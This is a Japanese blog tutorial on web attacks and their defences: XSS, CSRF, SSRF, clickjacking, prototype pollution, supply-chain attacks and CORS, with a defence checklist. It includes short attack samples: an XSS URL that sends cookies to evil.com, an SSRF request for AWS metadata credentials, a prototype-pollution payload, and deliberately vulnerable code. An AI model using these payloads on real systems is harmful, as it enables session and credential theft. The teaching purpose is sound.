- Published on
Webセキュリティ攻撃・防御の実践 — XSS、CSRF、SSRF、Clickjacking、Prototype Pollution、Supply Chain、CORS完全ガイド(2025)
- Authors

- Name
- Youngju Kim
- @fjvbn20031
なぜ「攻撃技術」の記事が必要なのか
開発者はOWASP Top 10があることを知っています。しかし、その意味が自分のコードのどこにあるのかを知りません。セキュリティは理論ではありません。具体的な攻撃手法と、具体的な防御コードで学ぶべきものです。
- 2024年のCVE登録数: 過去最高を更新、28,000件以上。
- npm攻撃はGitHub Dependabotによって30%減少しましたが、それでも週に数百件。
- AI生成コードは平均40%高い脆弱性密度(Stanford 2024)。
2025年もあなたのアプリがハッキングされる方法は、ほとんどがここに挙げた10種のいずれかです。
Part 1 — XSS (Cross-Site Scripting)
3種類
1. Reflected XSS
https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>
サーバーがqをそのままHTMLに挿入します。URLを一度クリックするだけで奪われます。
2. Stored XSS
コメントやプロフィールのような永続ストレージに悪性スクリプトが保存されます。最悪のケース — 訪問者全員が影響を受けます。
3. DOM-based XSS
サーバーは無事です。クライアントのJSがlocation.hashやpostMessageを無検証でDOMに挿入します。
// 悪い例
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;
防御レイヤー
1. 出力エスケープ(基本)
- React、Vue、Svelteはデフォルトでエスケープします。
- ただし、
dangerouslySetInnerHTML、v-html、{@html}を使うと突破されます。 - ユーザーがHTMLを提供しなければならない場合はDOMPurifyでsanitizeします。
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);
2. CSP (Content Security Policy)
最強のXSS防御。
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' https: data:;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
- nonce: サーバーがレスポンスごとにランダム値を生成し、
<script nonce="...">に含めます。 - strict-dynamic: 信頼されたスクリプトが読み込んだスクリプトも実行を許可します。
- 'unsafe-inline'は絶対にNG — CSP迂回の90%はここから始まります。
3. Trusted Types(Chrome 83+、Firefox/Safariは未対応 → polyfill)
「危険なsink(innerHTMLなど)に文字列を直接代入することを禁止する。」
Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
createHTML: (input) => DOMPurify.sanitize(input)
});
element.innerHTML = policy.createHTML(userInput);
Googleで義務化された後、自社アプリのXSSレポートが激減しました。
4. フレームワークの安全なAPI
- React:
dangerouslySetInnerHTMLの代わりに通常のchildren。 - Vue:
v-htmlの代わりに{{ }}。 - Angular:
[innerHTML]+DomSanitizer。
Part 2 — CSRF (Cross-Site Request Forgery)
原理
攻撃者のサイトが<form action="https://bank.com/transfer" method="POST">を自動送信します。被害者のCookieが自動的に送られ、リクエストが成功します。
2020年以前の防御: CSRF Token
- サーバーがトークンを発行 → formのhidden fieldに含める → 検証。
- Django、Railsが標準で内蔵。
2020年以降: SameSite Cookie
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
- Lax(2020年からのChromeデフォルト): top-level navigationのGETのみ許可。
- Strict: クロスサイトでは絶対に送りません。
- None: 無関係(
Secure必須)。
ほとんどのCSRFはSameSite Laxで自動的に防御されます。 ただし、次のケースでは依然としてトークンが必要です:
- GETリクエストが状態を変更する場合(RESTful違反)。
- サブドメイン間のリクエスト。
- CORSで開けておいたPOSTエンドポイント。
Double Submit Cookie
サーバーセッションなしでCSRFを防御します。Cookieとリクエストヘッダーに同じトークンを送って検証します。SPA + トークン認証でよく使われます。
Part 3 — SSRF (Server-Side Request Forgery)
2019年 Capital One事件
攻撃者(Paige Thompson)がAWS EC2メタデータ(169.254.169.254)へサーバー側からリクエストするよう誘導し、IAM資格情報を奪取 → S3バケットから1億人分のデータが流出しました。
攻撃パターン
# サーバーコード
@app.route('/fetch')
def fetch():
url = request.args.get('url')
return requests.get(url).text
# 攻撃: /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
防御
-
IMDSv2を使う(AWS) — トークンベースで、GETでもセッションが必要です。
MetadataOptions: HttpTokens: required HttpPutResponseHopLimit: 1 -
URL検証 — スキーム・ホスト・ポート、そしてDNS解決後のIPを検証します。
- プライベートIP帯域の遮断(10/8, 172.16/12, 192.168/16, 127/8, 169.254/16)。
- DNS Rebinding防御 — 検証後、実際のリクエスト直前に再検証します。
-
ネットワーク分離 — SSRFの危険があるコードは、メタデータにアクセスできないVPC/サブネットに配置します。
-
アウトバウンドプロキシ — 許可リストベースの強制プロキシ経由にします。
-
Fetchライブラリの
redirect: 'manual'— リダイレクトによる内部アクセスの迂回を防ぎます。
追加ポイント: 0.0.0.0、IPv6、短縮URL
http://0.0.0.0/→ ローカルバインドアドレスとして解釈されます。http://[::1]/→ IPv6ループバック。http://bit.ly/...→ リダイレクトで内部ターゲットへ。
Part 4 — Clickjacking
原理
攻撃者のサイトが被害サイトを<iframe>で透明に覆いかぶせ、ユーザーのクリックを横取りします。
防御
X-Frame-Options: DENY
または
Content-Security-Policy: frame-ancestors 'none'
frame-ancestorsのほうが強力で柔軟です(複数ドメインを許可できます)。X-Frame-Optionsはレガシーですが、それでも併せて追加しておくのが安全です。
ユーザー観点の防御: 重要なアクション(決済、パスワード変更)には再認証または追加確認のステップを置きます。
Part 5 — Prototype Pollution
原理(Node.js / ブラウザJS共通)
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// 以降すべてのオブジェクトがisAdmin: trueを持つ
({}).isAdmin // true
実際のCVE
- Lodash(2019、
_.merge) — 数百万のアプリに影響。 - jQuery
$.extend(true, ...)。 - minimist(2020) — 数多くのCLIツールに影響。
防御
- 再帰的なmerge時に
__proto__、constructor、prototypeをフィルタリングする。 - Object.freeze(Object.prototype) — 可能ならアプリ起動時に。
- Mapを使う — 任意のキーを保存するときはplain objectではなくMapを。
Object.create(null)— プロトタイプを持たないオブジェクト。
function safeMerge(target, source) {
for (const key in source) {
if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
target[key] = source[key];
}
}
Part 6 — サプライチェーン攻撃
代表的な事件
event-stream (2018)
週2Mダウンロードのnpmパッケージに悪性コードが挿入されました。Copay暗号通貨ウォレットが標的でした。被害者のウォレットからBTCを奪おうと試みました。
ua-parser-js (2021)
週6Mダウンロード。攻撃者がメンテナーのアカウントを奪取した後、悪性バージョンを配布しました。
xz-utils (2024)
ほぼすべてのLinuxに含まれる圧縮ライブラリです。「Jia Tan」が2年かけてメンテナー資格を獲得した後、OpenSSHのバックドアを挿入しました。Microsoftのエンジニア Andres Freundが偶然発見しました。
SolarWinds (2020)
ビルドパイプラインそのものが侵害されました。悪性コードが署名済みアップデートに含まれ、18,000社の顧客へ配布されました。
防御
- Lockファイルのコミット —
package-lock.json、pnpm-lock.yaml。 npm ci— CIでlockを遵守。- 依存関係の自動更新 + レビュー — Dependabot / Renovate。
- 脆弱性スキャナー — Snyk、GitHub Advisory、
npm audit。 - SBOMの生成 — Syftで構成要素を一覧化。
- 署名検証 — npm 2023+のprovenance、Sigstore/cosign。
- OSSF Scorecard — パッケージのセキュリティスコアを確認。
- 最小権限のCI — ビルドサーバーが必要以上の権限を持たないように。
Typosquatting
rquest(本物はrequest)、lodas(本物はlodash) — タイポを狙った悪性パッケージです。正式名称をコピーする習慣をつけましょう。
Part 7 — CORSの完全理解
多くの開発者の誤解
「CORSを緩めるとセキュリティが緩む。」間違いです。 CORSはセキュリティ機能ではなく、同一オリジンポリシー(SOP)の例外を許可する仕組みです。SOPが基本の盾であり、CORSはその盾に穴を開ける道具です。
基本ルール
ブラウザがクロスオリジンリクエストを送るとき:
- 単純リクエスト: GET/HEAD/POST + 特定のContent-Type → そのまま送信され、レスポンスに
Access-Control-Allow-Originがあれば読み取りが許可されます。 - 事前リクエスト(preflight): PUT/DELETE/カスタムヘッダー/JSON POST → まずOPTIONSリクエストで確認します。
よくあるミス
1. Access-Control-Allow-Origin: * + Allow-Credentials: true
ブラウザが拒否します。ワイルドカードでは資格情報を含められません。必ず特定のオリジンをechoしてください。
// 悪い例
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
// 良い例(許可リストのチェック後)
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin');
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
2. Originをそのままecho
正規表現チェックなしでechoすると、どのサイトからでも資格情報を読めるようになります → 深刻です。
3. Vary: Originの欠落
キャッシュが誤ったレスポンスを別のオリジンへ配信します。
CORSとセキュリティの関係
- CORSが開いているからといってトークンが流出するわけではありません — HttpOnly CookieやAuthorizationヘッダーは依然として安全です。
- ただし、CSRF防御がSameSite+Origin検証に依存している場合、CORS設定のミスが認証済みリクエストの許可を生みます。
Part 8 — Rate Limiting & Bot Defense
なぜ必要か
- ログインのbrute force
- 登録スパム
- スクレイピングによるコストの急増
- AIオーバーユーザーによるAPI濫用
戦略
- IPベースのトークンバケット — Redisの
INCR+ TTLがよくある実装です。 - ユーザー/アカウントベース — ログイン後はIPよりアカウント単位で。
- Sliding Window — 正確ですがコストが高いです。
- CDN/Edge層での遮断 — Cloudflare、Fastly、Vercel Firewall。
Bot Detection
- Cloudflare Turnstile(2022) — ユーザー体験の良いCAPTCHA代替。
- hCaptcha、Google reCAPTCHA v3。
- Arkose Labs — 金融業界の標準。
- Device Fingerprinting — FingerprintJS。
レスポンスポリシー
- 429 Too Many Requests +
Retry-Afterヘッダー。 - 沈黙の失敗より明確なエラーのほうが、ユーザーにもサポートチームにも得です。
- 攻撃者に対しては遅延レスポンス(tarpit)で時間を浪費させます。
Part 9 — 認証のよくあるミス
1. JWTをローカルストレージに保存
XSS一発で奪われます。HttpOnly Cookieを使ってください。
2. パスワードハッシュにSHA-256
Argon2id、bcrypt、scryptだけです。一般的なハッシュはGPUで毎秒数億回の逆算が可能です。
3. パスワード復旧トークンが予測可能
btoa(email + Date.now())のようなミスです。暗号学的乱数 + 短いTTL + 1回限りの使用にしてください。
4. メールの列挙(Enumeration)
「このメールは登録されていません」→ 攻撃者が会員リストを収集します。レスポンスを一貫させてください。
5. セッション固定(Session Fixation)
ログイン成功時にセッションIDを必ずローテーションします。
Part 10 — HTTPSと証明書のミス
HSTS未設定
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
初回のHTTPリクエストに対するMITM防御です。preloadリストに登録すれば初回訪問も保護されます。
証明書ピンニング(Pinning)の罠
モバイルアプリに公開鍵を固定します。証明書の更新時にアプリを新しく配布できなければ、全ユーザーが停止します。サービス利用者が数千万人規模なら固定しないでください。CT(Certificate Transparency)の監視のほうが実用的です。
Let's Encrypt + 自動更新
- 90日証明書 → 自動更新が必須。
- 2024年にはACME Renewal Info(ARI)で更新タイミングが賢くなりました。
- rustls-acme、lego、certbot、Caddy(内蔵)。
Part 11 — 実務チェックリスト(12項目)
- CSPは最初から — ランタイムで後付けすると必ず
unsafe-inlineが残ります。 - SameSite=Laxをデフォルトに — 例外のときだけNone。
- HttpOnly + Secure — セッションCookieには自明です。
- IMDSv2を強制 — AWS利用時は必須。
- URL fetchはSSRFプロキシ経由 — 直接の
fetch(userUrl)は禁止。 - 依存関係はlockファイル + 自動監査。
- すべての外部入力はスキーマ検証(Zodなど)。
- 出力sinkはsanitize — innerHTMLへ代入する前にDOMPurify。
- パスワードはArgon2id — ただし既存のbcryptでも問題ありません。
- Rate Limit + ログイン失敗時の指数的遅延。
- シークレットはVault/Secrets Manager —
.envファイルのコミットはNG。 - セキュリティヘッダーをすべて設定 — HSTS、CSP、XFO、XCTO、Referrer-Policy、Permissions-Policy。
Part 12 — 10大アンチパターン
innerHTML = userData— XSSへ直行。dangerouslySetInnerHTMLの濫用 — sanitizeなしで使用。Access-Control-Allow-Origin: *+ 資格情報。- URL fetchを何の検証もなしに。
eval、Function(string)、setTimeout(string)。- JWTをlocalStorageに — XSS一発ですべてを失います。
- パスワードリセットトークンが単純な数値 / 時間ベース。
- エラーメッセージに内部情報を露出 — スタックトレース・クエリ・トークン。
- CAPTCHAなしで無限の試行を許可。
- 「HTTPSだから安全」 — 転送のセキュリティは基本です。認証・認可は別物です。
Part 13 — 学習 & 実践リソース
- 書籍: The Web Application Hacker's Handbook(Stuttard & Pinto) — 古典。
- 書籍: Real-World Bug Hunting(Peter Yaworski) — HackerOneの実例。
- プラットフォーム: PortSwigger Web Security Academy(無料)。
- 大会/練習: HackTheBox、TryHackMe。
- ツール: Burp Suite、OWASP ZAP、Semgrep、CodeQL。
- ニュース: Krebs on Security、The Hacker News、GitHub Advisory DB。
- エッセイ: 毎年のSnyk/Googleのセキュリティレポートを読むこと。
おわりに — セキュリティは「基本」だ
この記事の攻撃は、1998年から2024年まで毎年繰り返されてきたものです。新しい技術が出てきても、基本を落としたアプリから先に破られます。
2025年のエンジニアにとって、セキュリティは「ハッカーがやる特殊分野」ではありません。毎日のコードレビュー、毎日のライブラリ選択、毎日のAPI設計に溶け込んでいる基本です。
良い知らせ: この記事に出てくる防御法はほとんどが無料です。CSP、SameSite、DOMPurify、Zod、Dependabot、Cloudflare Turnstile。設定一行、ライブラリ一つで数多くの攻撃を無力化します。
悪い知らせ: 「次のプロジェクトでは必ずやろう」と先送りすることです。すでにデプロイされたアプリが、今この瞬間もスキャンされています。
次回予告 — 「実践ネットワークエンジニアリング」 — TCP輻輳制御、TLS 1.3、HTTP/3 QUIC、DNS over HTTPS、BGP、CDNの内部まで
Webセキュリティが「何を防ぐか」だったとすれば、次回は「どうやってデータが行き交うか」です。
- TCP輻輳制御の現代 — BBR、CUBIC、PRR
- TLS 1.3の革命 — 1-RTT、0-RTT、Post-Quantum
- HTTP/3 + QUIC — UDPベースの再解釈
- DNSの進化 — DoH、DoT、DNSSEC、ECS
- BGPハイジャック — 2021年のFacebook 6時間障害の本当の原因
- AnycastとCDNルーティング — Cloudflare/Fastly/Akamai
- WebSocket vs SSE vs WebTransport — リアルタイム通信の選択
- Zero RTTのセキュリティリスク — replay attack
- eBPFでネットワークを観測する
- プロトコルをパケット単位で理解する — Wireshark実践
「ネットワークが遅い」の原因を、プロトコルレイヤーまで降りて探す方法。次回の記事で。